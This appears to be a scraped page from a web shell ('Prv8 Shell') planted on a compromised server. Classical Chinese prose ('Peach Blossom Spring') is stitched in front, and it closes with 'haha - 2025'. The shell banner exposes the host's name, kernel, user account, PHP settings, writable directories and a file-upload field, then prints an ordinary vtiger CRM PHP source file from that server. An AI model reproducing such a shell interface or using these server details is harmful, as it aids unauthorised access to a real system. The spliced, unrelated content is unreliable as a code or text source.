晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Settings/Webforms/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/Settings/Webforms/models/Record.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

class Settings_Webforms_Record_Model extends Settings_Vtiger_Record_Model {

	/**
	 * Function to get Id of this record instance
	 * @return <Integer> Id
	 */
	public function getId() {
		return $this->get('id');
	}

	/**
	 * Function to get Name of this record instance
	 * @return <String> Name
	 */
	public function getName() {
		return $this->get('name');
	}

	/**
	 * Function to get module of this record instance
	 * @return <Settings_Webforms_Module_Model> $moduleModel
	 */
	public function getModule() {
		return $this->module;
	}

	/**
	 * Function to set module instance to this record instance
	 * @param <Settings_Webforms_Module_Model> $moduleModel
	 * @return <Settings_Webforms_Record_Model> this record
	 */
	public function setModule($moduleModel) {
		$this->module = $moduleModel;
		return $this;
	}

	/**
	 * Function to get Detail view url
	 * @return <String> Url
	 */
	public function getDetailViewUrl() {
		$moduleModel = $this->getModule();
		return "index.php?module=".$moduleModel->getName()."&parent=".$moduleModel->getParentName()."&view=Detail&record=".$this->getId();
	}

	/**
	 * Function to get Edit view url
	 * @return <String> Url
	 */
	public function getEditViewUrl() {
		$moduleModel = $this->getModule();
		return "index.php?module=".$moduleModel->getName()."&parent=".$moduleModel->getParentName()."&view=Edit&record=".$this->getId();
	}

	/**
	 * Function to get Delete url
	 * @return <String> Url
	 */
	public function getDeleteUrl() {
		$moduleModel = $this->getModule();
		return "index.php?module=".$moduleModel->getName()."&parent=".$moduleModel->getParentName()."&action=Delete&record=".$this->getId();
	}

	/**
	 * Function to get Show form url
	 * @return <String> Url
	 */
	public function getShowFormUrl() {
		$moduleModel = $this->getModule();
		return "index.php?module=".$moduleModel->getName()."&parent=".$moduleModel->getParentName()."&view=ShowForm&record=".$this->getId();
	}

	/**
	 * Function to get record links
	 * @return <Array> list of link models <Vtiger_Link_Model>
	 */
	public function getRecordLinks() {
		$links = array();
		$recordLinks = array(
				array(
						'linktype' => 'LISTVIEWRECORD',
						'linklabel' => 'LBL_SHOW_FORM',
						'linkurl' => "javascript:Settings_Webforms_List_Js.showForm(event,'".$this->getId()."');",
						'linkicon' => 'fa fa-picture-o icon-picture'
				),
				array(
						'linktype' => 'LISTVIEWRECORD',
						'linklabel' => 'LBL_EDIT',
						'linkurl' => $this->getEditViewUrl(),
						'linkicon' => 'fa fa-pencil icon-pencil'
				),
				array(
						'linktype' => 'LISTVIEWRECORD',
						'linklabel' => 'LBL_DELETE',
						'linkurl' => "javascript:Settings_Vtiger_List_Js.triggerDelete(event,'".$this->getDeleteUrl()."');",
						'linkicon' => 'fa fa-trash icon-trash'
				)
		);
		foreach($recordLinks as $recordLink) {
			$links[] = Vtiger_Link_Model::getInstanceFromValues($recordLink);
		}

		return $links;
	}

	/**
	 * Function to get Detail view links for this record instance
	 * @return <Array> list of link models <Vtiger_Link_Model>
	 */
	public function getDetailViewLinks() {
		$linkTypes = array('DETAILVIEWBASIC');
		$moduleModel = $this->getModule();
		$recordId = $this->getId();
		$linkModelList = array();

		$detailViewLinks = array(
				array(
						'linktype' => 'DETAILVIEWBASIC',
						'linklabel' => 'LBL_EDIT',
						'linkurl' => $this->getEditViewUrl(),
						'linkicon' => ''
				),
				array(
						'linktype' => 'DETAILVIEWBASIC',
						'linklabel' => vtranslate('LBL_SHOW_FORM', $moduleModel->getParentName(). ':' .$moduleModel->getName()),
						'linkurl' => 'javascript:Settings_Webforms_Detail_Js.showForm("'.$this->getId().'")',
						'linkicon' => 'icon-picture'
				),
				array(
						'linktype' => 'DETAILVIEW',
						'linklabel' => 'LBL_DELETE',
						'linkurl' => 'javascript:Settings_Webforms_Detail_Js.deleteRecord("'.$this->getDeleteUrl().'")',
						'linkicon' => ''
				)
		);

		foreach ($detailViewLinks as $detailViewLink) {
			$linkModelList['DETAILVIEWBASIC'][] = Vtiger_Link_Model::getInstanceFromValues($detailViewLink);
		}
		return $linkModelList;
	}

	/**
	 * Function to get list of Selected Fields from target module for this record instance
	 * @return <Array> list of field models <Settings_Webforms_Field_Model>
	 */
	public function getSelectedFieldsList($mode='') {
		if (!$this->selectedFields) {
			$targetModule = $this->get('targetmodule');
			if ($targetModule) {
				$db = PearDatabase::getInstance();
				$targetModuleModel = Vtiger_Module_Model::getInstance($targetModule);
				$allFields = $targetModuleModel->getFields();

				$result = $db->pquery("SELECT * FROM vtiger_webforms_field WHERE webformid = ? ORDER BY sequence", array($this->getId()));
				$numOfRows = $db->num_rows($result);

				for($i=0; $i<$numOfRows; $i++) {
					$fieldData = $db->query_result_rowdata($result, $i);
					$fieldName = $fieldData['fieldname'];
					if (array_key_exists($fieldName, $allFields)) {
						$fieldModel = $allFields[$fieldName];

						//Check for hidden fields made as mandatory from layout editor,to unset hidden option
						$mandatoryStatus = $fieldModel->isMandatory(true);
						$hiddenStatus = $fieldData['hidden'];
						$fieldValue = trim($fieldData['defaultvalue']);
						$fieldType = $fieldModel->getFieldDataType();
						if(($mandatoryStatus == 1) and ($hiddenStatus == 1) and ($fieldValue == "") and ($fieldType != "boolean")){
							$fieldData['hidden'] = 0;
						}
						if(($fieldType == 'reference') && $mode != 'showForm'){
							$explodeResult = explode("x",$fieldValue);
							$fieldValue = $explodeResult[1];
							if(!isRecordExists($fieldValue)){
								$fieldValue = 0;
							}
						}

						if ($fieldModel->isViewable()) {
							foreach ($fieldData as $key => $value) {
								$fieldModel->set($key, $value);
							}
							$fieldModel->set('fieldvalue', $fieldValue);
							$selectedFields[$fieldName] = $fieldModel;
						}
					}
				}
			}
			$this->selectedFields = $selectedFields;
		}
		return $this->selectedFields;
	}

	/**
	 * Function to get List of fields
	 * @param <String> $targetModule
	 * @return <Array> list of Field models <Settings_Webforms_Field_Model>
	 */
	public function getAllFieldsList($targetModule = false) {
		if (!$targetModule) {
			$targetModule = $this->get('targetmodule');
		}
		$targetModuleModel = Vtiger_Module_Model::getInstance($targetModule);
		$restrictedFields = array('70','52','4','53');
		$blocks = $targetModuleModel->getBlocks();
		foreach ($blocks as $blockLabel => $blockModel) {
			$fieldModelsList = $blockModel->getFields();
			$webformFieldList = array();
			foreach ($fieldModelsList as $fieldName => $fieldModel) {
				if (in_array($fieldModel->get('uitype'), $restrictedFields) || !$fieldModel->isViewable()) {
					continue;
				}
				if($fieldModel->isEditable()){
					$webformFieldInstnace = Settings_Webforms_ModuleField_Model::getInstanceFromFieldObject($fieldModel);
					if ($fieldModel->getDefaultFieldValue()) {
						$webformFieldInstnace->set('fieldvalue', $fieldModel->getDefaultFieldValue());
					}
					$webformFieldList[$webformFieldInstnace->getName()] = $webformFieldInstnace;
				}
			}
			$targetModuleAllFieldsList[$blockLabel] = $webformFieldList;
		}
		return $targetModuleAllFieldsList;
	}

	/**
	 * Function generate public id for this record instance for first time only
	 * @return <String> id
	 */
	public function generatePublicId() {
		return md5(microtime(true) + $this->getName());
	}

	/**
	 * Function to delete this record
	 */
	public function delete() {
		$this->getModule()->deleteRecord($this);
	}

	/**
	 * Function to set db insert value value for checkbox
	 * @param <string> $fieldName
	 */
	public function setCheckBoxValue($fieldName) {
		if($this->get($fieldName) == "on"){
			$this->set($fieldName,1);
		} else {
			$this->set($fieldName,0);
		}
	}

	/**
	 * Function to save the record
	 */
	public function save() {
		$currentUser = Users_Record_Model::getCurrentUserModel();
		$mode = $this->get('mode');

		$db = PearDatabase::getInstance();		
		$this->setCheckBoxValue('enabled');
		$this->setCheckBoxValue('captcha');
		$this->setCheckBoxValue('roundrobin');
		if(is_array($this->get('roundrobin_userid'))){
			$roundrobinUsersList = json_encode($this->get('roundrobin_userid'),JSON_FORCE_OBJECT);
		}
		//Saving data about webform
		if ($mode) {
			$updateQuery = "UPDATE vtiger_webforms SET description = ?, returnurl = ?, ownerid = ?, enabled = ?, captcha = ? , roundrobin = ?, roundrobin_userid = ?, roundrobin_logic = ? ,targetmodule = ? WHERE id = ?";
			$params = array($this->get('description'), $this->get('returnurl'), $this->get('ownerid'), $this->get('enabled'), $this->get('captcha'),  $this->get('roundrobin'), $roundrobinUsersList, 0, $this->get('targetmodule'),$this->getId()); 
			$db->pquery($updateQuery, $params);
		} else {
			$insertQuery = "INSERT INTO vtiger_webforms(name, targetmodule, publicid, enabled, description, ownerid, returnurl, captcha, roundrobin, roundrobin_userid, roundrobin_logic) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
			$params = array($this->getName(), $this->get('targetmodule'), $this->generatePublicId(), $this->get('enabled'),  $this->get('description'), $this->get('ownerid'), $this->get('returnurl'), $this->get('captcha'), $this->get('roundrobin'),$roundrobinUsersList,0);

			$db->pquery($insertQuery, $params);
			$this->set('id', $db->getLastInsertID());
		}

		//Deleting existing data
		$db->pquery("DELETE FROM vtiger_webforms_field WHERE webformid = ?", array($this->getId()));

		//Saving data of source module fields info for this webform
		$selectedFieldsData = $this->get('selectedFieldsData');
		$sourceModuleModel = Vtiger_Module_Model::getInstance($this->get('targetmodule'));

		$fieldInsertQuery = "INSERT INTO vtiger_webforms_field(webformid, fieldname, neutralizedfield, defaultvalue, required, sequence, hidden) VALUES(?, ?, ?, ?, ?, ?, ?)";
		foreach ($selectedFieldsData as $fieldName => $fieldDetails) {
			$params = array($this->getId());
			$neutralizedField = $fieldName;
			$fieldDefaultValue = $fieldDetails['defaultvalue'];

			$fieldModel = Vtiger_Field_Model::getInstance($fieldName, $sourceModuleModel);
			$dataType = $fieldModel->getFieldDataType();

			//Updating custom field label
			if (self::isCustomField($fieldName)) {
				$neutralizedField = 'label:'.str_replace(' ', '_', decode_html($fieldModel->get('label')));
			}

			//Handling multi picklist
			if(is_array($fieldDefaultValue)){
				$fieldDefaultValue = implode(" |##| ", $fieldDefaultValue);
			}

			//Handling Data format
			if ($dataType === 'date') {
				$fieldDefaultValue = Vtiger_Date_UIType::getDBInsertedValue($fieldDefaultValue);
			}

			if ($dataType === 'time') {
				$fieldDefaultValue = Vtiger_Time_UIType::getTimeValueWithSeconds($fieldDefaultValue);
			}

			if ($dataType === 'reference') {
				$referenceModule = $fieldDetails['referenceModule'];
				$referenceObject = VtigerWebserviceObject::fromName($db,$referenceModule);
				$referenceEntityId = $referenceObject->getEntityId();
				$fieldDefaultValue = $referenceEntityId."x".$fieldDefaultValue;
			}

			if ($dataType === 'currency' && $fieldDefaultValue != null) {
				$fieldDefaultValue = CurrencyField::convertToDBFormat($fieldDefaultValue);
			}

			if ($dataType === 'double') {
				$fieldDefaultValue = CurrencyField::convertToDBFormat($fieldDefaultValue, NULL, true);
			}
			array_push($params, $fieldName, $neutralizedField, $fieldDefaultValue, $fieldDetails['required'], $fieldDetails['sequence'], $fieldDetails['hidden']);
			$db->pquery($fieldInsertQuery, $params);
		}

		//Handling document file fields save
		$fileFields = $this->get('file_fields');
		$db->pquery('DELETE FROM vtiger_webform_file_fields WHERE webformid = ?', array($this->getId()));
		$fileFieldQuery = 'INSERT INTO vtiger_webform_file_fields (webformid, fieldname, fieldlabel, required) VALUES (?, ?, ?, ?)';
		$i = 1;
		foreach ($fileFields as $fileField) {
			$fileFieldName = 'file_'.$this->getId().'_'.$i++;
			$required = $fileField['required'];
			if ($required != 1) {
				$required = 0;
			}
			$params = array($this->getId(), $fileFieldName, $fileField['fieldlabel'], $required);
			$db->pquery($fileFieldQuery, $params);
		}
	}

	/**
	 * Function to get document file fields added in webform
	 * @return <Array> Array of added file fields information.
	 */
	function getFileFields() {
		$fileFields = $this->get('file_fields');
		if (!$fileFields) {
			$fileFields = array();
			$db = PearDatabase::getInstance();

			$result = $db->pquery('SELECT * FROM vtiger_webform_file_fields WHERE webformid = ?', array($this->getId()));
			$count = $db->num_rows($result);
			for ($i = 0; $i < $count; $i++) {
				$fileFields[$i] = $db->query_result_rowdata($result, $i);
			}
			$this->set('file_fields', $fileFields);
		}
		return $fileFields;
	}

	/**
	 * Function check whether duplicate record exist or not with this name
	 * @return <boolean> true/false
	 */
	public function checkDuplicate() {
		$db = PearDatabase::getInstance();

		$query = "SELECT 1 FROM vtiger_webforms WHERE name = ?";
		$params = array($this->getName());

		$record = $this->getId();
		if ($record) {
			$query .= " AND id != ?";
			array_push($params, $record);
		}

		$result = $db->pquery($query, $params);
		if ($db->num_rows($result)) {
			return true;
		}
		return false;
	}

	/**
	 * Function to get record instance by using id and moduleName
	 * @param <Integer> $recordId
	 * @param <String> $qualifiedModuleName
	 * @return <Settings_Webforms_Record_Model> RecordModel
	 */
	static public function getInstanceById($recordId, $qualifiedModuleName) {
		$db = PearDatabase::getInstance();

		$result = $db->pquery("SELECT * FROM vtiger_webforms WHERE id = ?", array($recordId));
		if ($db->num_rows($result)) {
			$recordModelClass = Vtiger_Loader::getComponentClassName('Model', 'Record', $qualifiedModuleName);
			$moduleModel = Settings_Vtiger_Module_Model::getInstance($qualifiedModuleName);
			$rowData = $db->query_result_rowdata($result, 0);
			$recordModel = new $recordModelClass();
			$recordModel->setData($rowData)->setModule($moduleModel);
			return $recordModel;
		}
		return false;
	}

	/**
	 * Function to get clean record instance by using moduleName
	 * @param <String> $moduleName
	 * @return <Settings_Vtiger_Module_Model>
	 */
	static public function getCleanInstance($moduleName) {
		$recordModel = new self();
		$moduleModel = Settings_Vtiger_Module_Model::getInstance($moduleName);
		return $recordModel->setModule($moduleModel);
	}

	/**
	 * Function to check whether field is custom or not
	 * @param <String> $fieldName
	 * @return <boolean> true/false
	 */
	static function isCustomField($fieldName) {
		if (substr($fieldName, 0, 3) === "cf_") {
			return true;
		}
		return false;
	}

	public function getDisplayValue($key) {
		$fields = $this->getModule()->getFields();
		$fieldModel = $fields[$key];
		return $fieldModel->getDisplayValue($this->get($key));
	}

	/**
	 * Function to check whether the captcha is enabled or not
	 * @return <boolean> true/false
	 */
	public function isCaptchaEnabled() { 
		if ($this->get('captcha') == '1') {
			return true;
		} else {
			return false;
		}
	}
}

haha - 2025